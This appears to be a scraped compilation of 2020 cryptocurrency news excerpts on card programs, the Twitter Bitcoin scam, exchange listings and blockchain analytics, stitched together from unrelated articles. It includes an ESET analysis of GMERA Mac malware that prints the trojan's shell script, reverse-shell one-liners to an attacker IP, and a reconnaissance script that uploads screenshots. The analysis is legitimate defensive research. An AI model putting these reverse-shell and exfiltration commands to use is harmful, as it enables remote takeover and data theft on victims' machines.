Thanks to the membership, Wirex card users will be able to immediately convert their crypto holdings into fiat currency, which can be spent at points of sale that accept Mastercard. Currency will thus enter Mastercards network in the form of fiat, not cryptocurrency.

Wirex CEO and co-founder Pavel Matveev has said that the membership represents a growing interest and recognition in the acceptance of cryptocurrency by leading bodies and regulators. He added that partnering with Mastercard will help the firm to realize its vision of empowering everyone to experience a world where all currencies, traditional and crypto, are equal.

Wirex is regulated by the U.K.s Financial Conduct Authority and has a license to issue crypto cards in Europe. Earlier this year, it hit over 3 million active users, noting that increasing numbers of them are not typically hardcore cryptocurrency users.

Prior to partnering with Wirex, Mastercard collaborated with blockchain payments provider BitPay this June to launch a prepaid card for crypto users in the United States.

See more here:

Mastercard Expands Cryptocurrency Program for Crypto Card Issuers - Cointelegraph

Bill Gates, Elon Musk and Jeff Bezos among 130 other high-profile Twitter accounts hacked over Bitcoin scam

More than 373 users fell for the scam, losing a total of INR 89 Lakh before the Tweets were removed, says cofounder of Giottus Cryptocurrency

Cryptocurrency can never be a common mans currency, says Subhash Chandra Garg

High-profile Twitter account holders, including former US president Barack Obama along with Microsoft Corp co-founder Bill Gates, Tesla CEO Elon Musk, Amazon CEO Jeff Bezos, presumptive Democratic candidate for president Joe Biden among others, on Wednesday (July 15), were the target of a Bitcoin-related scam. The well-orchestrated hack posted similar tweets, all instructing people to send Bitcoins to an unknown cryptocurrency wallet.

More than 373 users fell for the scam, losing a total of INR 89 Lakh before the Tweets were removed by the Twitter authority. The attacker had complete access to Twitter they could have posted anything from any of the official accounts, but they chose to seek Bitcoins through false promises, shared Arjun Vijay, cofounder and COO of Giottus Cryptocurrency.

Further, he said people should be more careful, and there is no easy money, and most crypto giveaways that ask for contributions are scams. We hope this brings awareness, and Twitter users do not fall for these kinds of scams again, Vijay added.

In the Bitcoin-scam aftermath, Twitter had temporarily blocked all high-profile verified accounts from posting or even changing their passwords while it investigated and sought to resolve the issue. Twitter said that it will provide more details on the issue in the future as and when the investigation unfolds.

According to the New York Times report, four young hackers were involved in the well-organised Twitter scam. The report stated that the Bitcoin scam was traced back to a group of hackers who met at OGusers.com, a username-swapping community where people buy and sell online handles. The Times noted that the Twitter hack is not from Russian or other sophisticated hacker groups but was done by a group of young people, one of whom says he lives at home with his mother.

Accordingly, two users, lol and ever so anxious came into contact with Kirk, who had access to most sensitive tools, which allowed him to take control of almost any Twitter account, including the 130 high-profile accounts that were being hacked, the report added.

According to Twitters blog, the hackers targeted Twitter employees through a social engineering scheme. In other words, social engineering schemes are the intentional manipulation of people into performing certain actions and revealing confidential information. Further, it stated that the attackers successfully manipulated a small number of employees and used their credentials to access Twitters internal systems.

As of now, we know that they accessed tools only available to our internal support teams to target 130 Twitter accounts, Twitter added.

The price of Bitcoin (BTC) at the time of writing was $9,172.20 with a market cap of $169.11 Bn, compared to last week (July 14, 2020) which stood at $9,186.59, with a market cap of $169.32 Bn.

Ethereum (ETH), on the other hand, was priced at $237.35, with a market cap of $26.54 Bn at the time of writing, compared to last week (July 14, 2020), where the price of the cryptocurrency was $227.24, with a market cap of $25.35 Bn.

The former finance secretary of India, Subhash Chandra Garg, the man behind the bill that proposed a blanket ban on cryptocurrencies, ten-year jail terms and an INR 25 Cr hefty fine, on Friday (July 17), discussed cryptocurrencies fate with the Indian industry leaders and experts, which included Nischal Shetty, the CEO of WazirX, and Siddharth Sogani, the founder of blockchain research company Crebaco.

At a recent webinar organised by CREBACO Global, he said that he approves of the use of crypto assets as regulated commodities, but said that it must not be allowed to function as currencies in India. Sharing his opinion, Garg said that the way cryptocurrency works is on the distributed ledger technology (DLT). Its a high investment technology. It can never be a common mans currency, he added.

COTI, an acronym for currency of the internet, recently announced its listing on the Indian crypto exchange platform WazirX. With this, COTI will be integrated with a Tether (USDT) cryptocurrency pair COTI/USDT on WazirX. COTI is the worlds first directed acyclic graph (DAG)-based blockchain protocol optimised for seamless and scalable payments and low transaction costs. It is one of the most secure and fast which can facilitate thousands of transactions per second.

Taipei-based blockchain security company CoolBitX recently announced its partnership with Elliptic, a crypto asset risk management platform to launch one the first operational Travel Rule solutions for crypto called Sygna Bridge. This combined tool is said to offer customers a complete solution to fulfil anti-money laundering and compliance obligations, including the Financial Action Task Force (FATF) Travel Rule.

Michael Ou, CEO of CoolBitX, in a press statement, said that the solution will provide customers with the ability to protect themselves from violating any Anti-Money Laundering/Combating the Financing of Terrorism (AML/CFT) laws and regulations, allow them to assist regulators to combat illicit money laundering activities, and stay compliant with changing norms.

Read more:

Cryptocurrency This Week: Twitter Bitcoin Scam Explained & More - Inc42 Media

Neobank Revolut launched in the U.S. a couple of months ago. The startup is slowly catching up with features that are available in the U.K. and Europe. This time, Revolut is adding cryptocurrency trading through a partnership with Paxos.

Users in the U.S. can now buy, hold and sell Bitcoin and Ethereum from the Revolut app. The feature is going to be available in 49 states as there are some regulatory issues in Tennessee. If you have USD or other currencies in your Revolut account, you can exchange manually whenever you want.

You can also set up alerts in case there are some important price changes happening. Optionally, users can also round up card payments to the nearest whole dollar and convert spare change into crypto assets.

If youre familiar with Revoluts cryptocurrency feature, you know that the company gives you access to more cryptocurrencies in Europe, such as Litecoin, Bitcoin Cash and XRP. The company says it is starting with BTC and ETH in the U.S. but is already working on bringing more cryptocurrencies.

When it comes to fees, users with a free Revolut account will pay 2.5% in conversion fees. Users with a Premium and Metal subscription will pay 1.5% in fees. Revolut is waving fees for the first 30 days.

This is in line with the companys current fees in Europe. Revolut also has some monthly limits on currency exchange in general for free users as well it can be fiat currencies or cryptocurrencies. You have to pay a 0.5% fee above that limit or pay for a subscription.

Revolut made some changes to its cryptocurrency feature recently. While you now technically own your cryptocurrencies, you cant send and receive cryptocurrencies from third-party wallets. The feature is all about trading buying, holding and selling.

In the U.S., Squares Cash App and Robinhood also let you buy cryptocurrencies in their respective apps. While those features dont offer the same flexibility as a full-fledged cryptocurrency exchange, it makes it easy to get started with cryptocurrencies.

Link:

Revolut partners with Paxos to bring cryptocurrency trading to the US - TechCrunch

Paypal has confirmed that it has been developing cryptocurrency capabilities in a letter the company sent to the European Commission regarding the EU framework for cryptocurrency markets. Recently, Paypal and Venmo were rumored to soon allow users to buy and sell cryptocurrencies directly.

In a letter to the European Commission (EC), Paypal revealed its work on developing crypto capabilities. The letter was in response to the public consultation launched in December last year on building an EU framework for markets in crypto assets. According to Ledger Insights, Paypals letter was published in June, along with a number of other responses the Commission received.

The crypto-asset industry has experienced substantial growth over the past few years, Paypal told the EC. As such, Paypal is continuously monitoring and evaluating global developments in the crypto and blockchain/distributed ledger space.

In the letter, the company explained its involvement with the Libra project, proposed by social media giant Facebook. Noting that it signed a non-binding letter of intent to participate in the Libra Association, Paypal clarified:

Since the projects inception, Paypal has taken unilateral and tangible steps to further develop its capabilities in this [crypto asset] area.

The company proceeded to explain that after leaving the Libra project, it has continued to focus on advancing our existing mission and business priorities to democratize access to financial services.

In the letter, Paypal claims to have more than 300 million active accounts across the globe, with millions of new users being added every year. The company serves customers and businesses in 31 European jurisdictions and has a license to provide banking and payments services in Luxembourg.

Regarding the EU framework for crypto assets, Paypal told the EC that The regulatory framework should allow for innovative products and services to be brought to market without undue regulatory burden while simultaneously providing regulatory clarity, guidance, and safeguards.

Three key points were mentioned. Firstly, Paypal suggested the EUs crypto framework should have a clear set of definitions on various crypto activities to ensure that companies engaged in such activities are properly licensed and regulated. Secondly, the company called for a proper application of a risk-based approach, in line with the principles underpinning existing EU AML regulation and global standards, and lastly any regulatory framework in Europe should strive to be technology-neutral to support innovation and competition in this fast-evolving space, the company described. The Financial Action Task Force (FATF) also recommends a risk-based approach to regulating cryptocurrencies and related service providers.

Last month, Paypal and Venmo, a mobile payment service owned by Paypal, were rumored to soon offer direct crypto buying and selling. News.Bitcoin.com reached out to Paypal but the companys representative neither confirmed nor denied the rumor. Paypal, however, is not new to the crypto space. In 2018, the company filed a patent for an expedited cryptocurrency transaction system. Its CEO, Daniel Schulman, also said in November that he owned bitcoin.

What do you think about Paypal developing crypto capabilities? Let us know in the comments section below.

Image Credits: Shutterstock, Pixabay, Wiki Commons

Disclaimer: This article is for informational purposes only. It is not a direct offer or solicitation of an offer to buy or sell, or a recommendation or endorsement of any products, services, or companies. Bitcoin.com does not provide investment, tax, legal, or accounting advice. Neither the company nor the author is responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in this article.

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Paypal Developing Cryptocurrency Capabilities, Letter to European Commission Confirms | News - Bitcoin News

Bitcoin, thrust into the international spotlight this week by Twitter hackers trying to defraud people of their bitcoin, is hard to track but by no means impossible.

Bitcoin, cryptocurrency and blockchain analytics companies are able to forensically examine crypto transactions and are often able to pinpoint exactly who made the transaction, where and when.

Now, a top Pentagon investigative unit is looking for information about hiring a crypto analytics service to "quickly detect criminal and suspicious cryptocurrency transactions" around the world.

A top Pentagon investigative unit has put out a request for a bitcoin and cryptocurrency analytics ... [+] service.

The U.S. Army Criminal Investigation Division Command (USACIDC) is looking to licence an application to help them track and trace illicit cryptocurrency transactions, according to a statement of work published on July 10. Unlike a more formal request for proposal, the posting is part of an earlier research phase called a request for information.

"The contractor must provide worldwide web-based access to a reliable cryptocurrency investigation service," the document read, giving a deadline of July 20 for companies to submit the information.

"The web based application must provide the capability to assist law enforcement identify and stop actors who are using cryptocurrencies for illicit activity such as fraud, extortion, and money laundering. Application must enables users to conduct in-depth investigation into the source of cryptocurrency transactions and provides multi-currency analysis from bitcoin to other top cryptocurrencies."

In addition, the application must "help spot suspicious transaction patterns and interactions with other entities," and "a link analysis tool to facilitate the analysis of data."

The request for work comes after the United States Army Contracting Command of New Jersey published a pre-solicitation notice seeking a similar web application to help law enforcement agencies to track and identify people using cryptocurrencies for illegal purposes in July last year.

The U.S. Army Contracting Command put out a so-called "request for information" on bitcoin and ... [+] cryptocurrency analytics services, inviting firms to respond by July 20.

Companies such as New York-based Chainalysis and London-based Elliptic, which recently won a contract with the IRS, have carved out a niche providing blockchain data and analysis to government agencies, bitcoin and crypto exchanges, and financial institutions.

Coinbase, the largest U.S. bitcoin and cryptocurrency exchange, has recently made headlines by licencing its blockchain tracing software to the U.S. government. The move has sparked controversy, with critics claiming the service causes a conflict of interest for the popular exchange.

Coinbase said in an email that it was aware of the USACIDC request for work but had yet to make a decision on whether it will bid.

"We'll always look for ways to work with agencies and law enforcement to fight illegal activity," a Coinbase spokesperson said.

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A Top Pentagon Investigative Unit Wants To Spy On Worldwide Bitcoin And Crypto Transactions - Forbes

Exchanges and other Virtual Asset Service Providers using CipherTrace's transaction monitoring can now predict the risk of a bitcoin transaction before it is committed to the blockchain; this protects customers who have had cryptocurrencies that were stolen and those that face ransomware threats

MENLO PARK, Calif., July 21, 2020 /PRNewswire-PRWeb/ --CipherTrace announces cryptocurrency real-time transaction risk scoring with the addition of predictive capabilities to help exchanges, ATMs, OTC desks, hedge funds, custody solutions, payment processors, and financial investigators to ensure compliance with Anti-Money Laundering (AML), Counter-Terrorist Financing (CTF), and sanctions requirements. This capability is now available to select CipherTrace customers, including law enforcement investigating the Twitter hacking case, and will be generally available to the entire customer base as of July 31st.

Real-time analytics and predictive risk scoring for cryptocurrencies enables exchanges and other Virtual Asset Service Providers (VASPs) to be able to score transactions from low to high risk based on whether the funds have been tainted by traveling through illicit paths or associated with known bad actors or sanctioned geographies. CipherTrace implements this foresight without sacrificing user privacy, as the software does not process any personally identifiable information.

What does Real-Time Predictive Risk Scoring Do?

Predictive and real-time analysis of cryptocurrenciesnow a trillion-dollar marketallows a safer environment for the world's transactions. Being able to perform predictive analysis allows customers to see and protect stolen funds, freeze those funds, stop ransomware launderers, and protect customers from fraud. It also allows law enforcement agencies to take action immediately to protect investors, operators, and consumers.

How Does Real-Time Predictive Risk Scoring Work?

Before a bitcoin transaction is confirmed on the blockchain, it is first created and broadcasted to the network. Then, it is stored in a mempool of other unconfirmed transactions until a miner validates it and adds it to the blockchain. At this point, the transaction is final. This process can take at least ten minutes and sometimes hours to complete and places exchanges and other custodial services in the awkward position of forcing customers to wait for their transactions to be confirmed so that they can perform necessary due-diligence on transaction risk.

"It is our goal to make cryptocurrency global and available for everyone, while protecting personal privacy," said Dave Jevans, CEO of CipherTrace. "Cryptocurrency exchanges and other VASPs have regulatory obligations to address the risk of money laundering, terrorist financing, human trafficking, and weapons of mass destruction programs. The introduction of predictive risk scoring provides VASPs with a powerful new tool to identify potentially illicit funds before those transactions are finalized on the Bitcoin blockchain. This capability will also help VASPs offer an improved, more efficient user experience to their customers."

VASPs utilizing CipherTrace's monitoring suite will be able to freeze an account that is flagged as having a high probability of originating with stolen funds. By halting the movement of illicit funds, VASPs will deter future cryptocurrency crimes and help to change bitcoin's lingering reputation created by its early use on the illegal Silk Road marketplace. Most VASPs are required to file suspicious activity reports whenever they receive funds likely to contain illicit origins, and CipherTrace's predictive risk scoring capabilities will facilitate that process.

For media inquiries, please contact Kili Wall at (310) 260-7901 or Kili(at)MelrosePR(dot)com

About CipherTrace CipherTrace, leading cryptocurrency intelligence company, protects financial institutions from crypto laundering risk and is helping to grow the crypto economy by making virtual assets trusted by governments and safe for mass adoption. CipherTrace delivers the world's most comprehensive cryptocurrency intelligence to detect money laundering, inform law enforcement investigations, and enable regulatory supervision. CipherTrace founders are dedicated to protecting consumer privacy, while defending against illicit finance. Deep expertise in cybersecurity, eCrime, payments, banking, encryption, and virtual currencies form the foundation for CipherTrace's commercial offerings. For more information, visit http://www.CipherTrace.com or follow us on Twitter @CipherTrace.

SOURCE CipherTrace

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CipherTrace Introduces Cryptocurrency Real-Time Predictive Risk Scoring to Mitigate Money Laundering of Crypto from Theft and Ransomware Attacks -...

Physical imitations of cryptocurrency in Dortmund, Germany on January 27, 2020.

The Indian IT giant has set its sights on the exploding crypto-assets market globally. Its new product Quartz aims to make swift inroads in cryptocurrency trading in countries like Switzerland and Singapore, where its a legal activity, and is eyeing high net-worth, private banking, and wealth-management segments. Quartz may not find takers in India in the absence of regulatory clarity.

Its a whole new world of opportunities for Indian IT companies. TCS is moving to make a big impact in the global enterprise blockchain-solutions market. The countrys second most-valued company has

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TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz - Economic Times

Cryptocurrencies have been around for a while now, and were well past the point where they were considered a temporary, passing gimmick. At this stage, many people agree that cryptocurrencies are the way of the future in many ways, even if there are some flaws in the general idea. The important thing is that were actively experimenting with different solutions for the common problems on the financial market, and weve already come across some quite exciting discoveries along the way. When it comes to fintech, its clear that cryptocurrencies have had a major impact but how strong has it been exactly, and what can we expect from the future in this regard?

Current Uses of Blockchain in Finances

Blockchain is currently actively used in many areas of the financial sector likeforex. Its no longer a secondary thing for many businesses, and support for the technology is rapidly growing. And there is a lot that it can bring to the table as well from easy verification of identities, to speeding up regular everyday transactions, to enabling customers to use their mobile phones more comfortably as part of the purchasing process. There is a lot that blockchain can do that is not even actively explored yet, and its important to pay attention to the new and growing trends in this market.

Growing Trends

Which leads us to our next point. Blockchain is already enjoying an established place in many areas of the market, but it will take a while before its fully reached its potential. Until then, were likely going to see variouscompanies attempting to use it in new and different ways, and not all of those will be successful in the long run. But what truly matters here is that we pay attention to not only the successes, but the failures as well. Identifying the cause for each of those failures is going to be crucial in the long term when it comes to ensuring that were using blockchain to its full potential.

Attractive Prospects

The current prospects for the tech and its integration into the market are already quite attractive. Many companies have been exploring the market in even more detail lately too, and have been doing their best to make the situation more attractive for their users. Because of this, weve seen the rise of many integrations of blockchain tech into various aspects of the current market, and this is something that will likely continue in full force as well.

The Future Is Not Set in Stone

But in the end, its hard to predict where this will all take us. Blockchain is still a new technology compared to the overall state of the financial market, and it will likely be a while until its properly stabilized its position. As we said above, the important thing right now is to pay attention to how this tech evolves and the stages it goes through. Because a lot will happen over the next couple of decades, and those who have been following the trends will be in a better position to take advantage of the new situation.

Until then, its also not a bad idea to experiment with what the market has to offer. Blockchain is already integrated pretty tightly into many sectors, and it doesnt take a lot of effort to get started with this field. The technological barrier today is significantly lower than what it used to be, so there arent many excuses for not following those developments. And even when some things dont pan out, they will still provide a good learning experience for those whove attempted them.

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Cryptocurrency Is Reshaping the Fintech Landscape - Finextra

ESET researchers lure GMERA malware operators to remotely control their Mac honeypots

Weve recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in the previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, not only did the malware authors wrap the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.

We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldnt confirm that it was linked to this particular campaign, but it could very well be the case.

Figure 1. Kattana warns about trojanized copies of their software on Twitter

Copycat websites are set up to make the bogus application download look legitimate. For a person who doesnt know Kattana, the websites do look legitimate.

The download button on the bogus sites is a link to a ZIP archive containing the trojanized application bundle.

Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micros blogpost and in Objective-Sees Mac malware of 2019 report.

Figure 4. Content of the Licatrade application bundle

Modification timestamps of the files in the ZIP archive, the date the application was signed, and the LastModified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.

A shell script (run.sh) is included in the resources of the application bundle. This main executable, written in Swift, launches run.sh. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP, and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.

Here is the full shell script source (ellipsis in long string and defanged):

#! /bin/bashfunction remove_spec_char(){echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'}whoami="$(remove_spec_char `whoami`)"ip="$(remove_spec_char `curl -s ipecho.net/plain`)"req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"launchctl load "/tmp/.com.apple.system.plist"scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

#! /bin/bash

function remove_spec_char(){

echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'

}

whoami="$(remove_spec_char `whoami`)"

ip="$(remove_spec_char `curl -s ipecho.net/plain`)"

req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="

echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"

cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"

launchctl load "/tmp/.com.apple.system.plist"

scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Its interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (.com.apple.system.plist) isnt in Property List format as launchd expects, but instead is the command line to be executed.

The decoded content (ellipses in long strings) of the $plist_text variable is:

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.

The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.

The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.

Here are some example command lines used:

screen -d -m bash -c bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1

zsh -c zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY

The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an app.asar file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.

Figure 5. Partial difference between Kattana and Licatrade

Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.

Figure 6. Certificate used to sign Licatrade

Figure 7. Licatrade certificate was revoked May 28th, 2020

For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. See the IoCs section for details about these. Its interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didnt find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.

The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the levistor777@gmail.com email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.

Both the websites and HTTP C&C servers receiving the malwares first report are hosted behind Cloudflare.

To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware.

We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version and location (based on external IP address) of the compromised device.

#! /bin/bashfunction check() { if [ ! -f /private/var/tmp/.i ]; then write else if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then write fi fi}function write() { getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"` echo `whoami` > /private/var/tmp/.i echo `sw_vers -productVersion` >> /private/var/tmp/.i echo "$getit" >> /private/var/tmp/.i}checkcat /private/var/tmp/.i

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#! /bin/bash

function check() {

if [ ! -f /private/var/tmp/.i ]; then

write

else

if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then

write

fi

fi

}

function write() {

getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`

echo `whoami` > /private/var/tmp/.i

echo `sw_vers -productVersion` >> /private/var/tmp/.i

echo "$getit" >> /private/var/tmp/.i

}

check

cat /private/var/tmp/.i

which sent something like this to the operators:

jeremy10.13.4BratislavaSK

jeremy

10.13.4

Bratislava

SK

The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.

Figure 8. Packet capture of the operator sending the base64-encoded secondary reconnaissance script

Here is the decoded script:

echo ""echo "------ Whoami ------"whoamiecho "------ IP info ------"curl -s ipinfo.ioecho "------ Mac Model ------"curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*(.*).*|1|'echo "------ MacOS Version ------"sw_vers -productVersionsw_vers -productVersion | grep -E "10.15.*" && echo -e "33[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA 33[0m"sleep 1echo "------ MacOS Installed ------"date -r /var/db/.AppleSetupDoneecho "------ Disks ------"df -mecho "------ Video Output ------"system_profiler SPDisplaysDataTypeecho "------ Wifi Around ------"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -secho "------ Virtual Mashine Detector ------"ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."echo "--------------------------------"echo "------ Developer Detector ------"echo "--------------------------------"echo "||| Applications |||"ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"echo "||| Short Bash History |||"cat ~/.bash_history | head -n 20echo "------ Desktop Screen ------"echo "create screenshot..."sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/nullsips -z 500 800 /tmp/screen.jpg &> /dev/nullsips -s formatOptions 50 /tmp/screen.jpg &> /dev/nullecho "uploading..."curl -s -F "file=@/tmp/screen.jpg" https://file.io

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Excerpt from:

Mac cryptocurrency trading application rebranded, bundled with malware - We Live Security

The ASXs strong stance against cryptocurrency linked companies has seen the exchange dump several companies and make it difficult for new players to list.

Now the crypto world has cottoned onto the fact that other exchanges are more welcoming.

This has seen new and existing players turn to the likes of the Toronto Stock Exchange (TSX) and the National Stock Exchange (ASX:NSX).

After leaving the ASX in March, game maker Animoca Brands decided to list its fitness and health technology subsidiary OliveX Holdings on the NSX.

Hong Kong-based OliveX makes fitness apps, such as 22 Pushups and Lympo Squat which allow users to earn cryptocurrency by doing squats.

During the September quarter last year, Animoca raised $US2.01m ($2.9m) in cash and crypto via a Simple Agreement for Future Equity (SAFE) security, and also presold utility tokens via its gaming subsidiary TSB Gaming.

However, the company fell foul of the ASX which has repeatedly expressed its disapproval of companies raising funds via cryptocurrencies and subsequently departed the local bourse in March.

The ASX has also delisted other companies that were dabbling in crypto, including Byte Power and First Growth Funds.

The market operator is relying on guidance from ASIC that many initial coin offers (ICO) and crypto assets are likely to be managed investment funds at worst, and therefore need an Australian Financial Services Licence (AFSL).

Australian crypto payments service provider Banxa, which was established in 2014, is looking to become a listed company, and being a true-blue Aussie it wanted to list on the ASX.

But the difficulty in doing so has prompted it to head to the TSX Venture Exchange (TSXV).

I would have loved to have listed on the ASX given that the company was established in Australia and the key people are Australian, founder and non-executive chairman Domenic Carosa told Stockhead.

But this is an example of the ASX taking a view that crypto companies are basically not welcome on the exchange. From my perspective I think thats an unfortunate decision, and one that means Australian companies need to look abroad from a capital raising and from an exchange perspective.

However, Carosa said the two major Canadian exchanges, the TSX and the Canadian Securities Exchange (CSE), were both very open to crypto and crypto-related companies.

In trying to decide which exchange to list on, Banxa met with exchanges and advisors in Australia, Singapore, Hong Kong, the UK and Canada.

We decided on the TSX because theyre the largest exchange in Canada, Carosa told Stockhead.

In terms of the number of companies listed and the number of IPOs in the last 12-18 months, it just dwarfs the ASX.

We decided to list onto this exchange because we can very easily dual-list on the comparable US exchange once were listed on the TSX and once were at a certain size, theres a migration path to NASDAQ as well.

The TSX is the senior equity market, while the TSXV is a public venture capital marketplace for emerging companies. Both are owned by the TMX Group.

Australia is not completely off limits for crypto companies, however, with both the NSX and the Sydney Stock Exchange (SSX) open to listing them.

Irrespective of industry sector, the SSX is in the business of listing suitable companies through efficient, supportive and best in class governance listing rules which support growth companies to reach their potential, Antony Tolfts, director market supervision and listing compliance for the SSX, told Stockhead.

The SSX gives prospective companies, from all industry sectors, a fair go to provide an efficient path to market for qualifying growth companies.

Companies operating within the digital and crypto space would receive an objective review with the same due diligence and evaluation under the listing rules as any other company looking to list or already listed.

Tolfts said most companies operating in the digital and crypto sector used a blockchain platform to support their business.

The SSX is passionate about blockchain to support digital technology, Tolfts said, and its CEO Michael Go also sits on the board and began developing platforms as early as 2015 and the CEO of the SSX, Michael Go, also sits on the board of industry body Blockchain Australia.

Banxa expects to have a market cap of around $41m on listing, and Carosa was of the view that the TSXV would be a better fit than the smaller exchanges in Australia given the global nature of its business.

We just thought the TSX provides the right kind of coverage for a global company and the fact that we can dual list in the US and get access to North American investors was also quite attractive for us, he said.

Canadian and US investors are a lot less conservative when it comes to backing crypto companies, according to Carosa.

Australians by their nature are typically quite conservative, and so weve found the bulk of our investors have come from Asia and the Americas. There just seems to be much more appetite for a crypto-style business outside of Australia than actually within Australia, which once again is unfortunate.

Im originally from Melbourne and Im now living in Amsterdam. Ive been living here for the last four years.

For me thats a bit of a shame because my heart is still very much in Australia, but at the end of the day from a follow the money perspective, there is certainly more appetite and interest for crypto outside of Australia and weve just had to pursue a global exchange that reflects the values of Banxa.

Banxa just completed a pre-IPO funding round, which included ASX-listed tech investor Thorney Technologies (ASX:TEK), and is in the final stages of listing on the TSXV, which it expects to do within the next couple of months.

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ASX loses out on rising cryptocurrency trend as companies head for other exchanges - Stockhead

In the race to become the dominant cryptocurrency platform, Ethereum is gaining on Bitcoin.

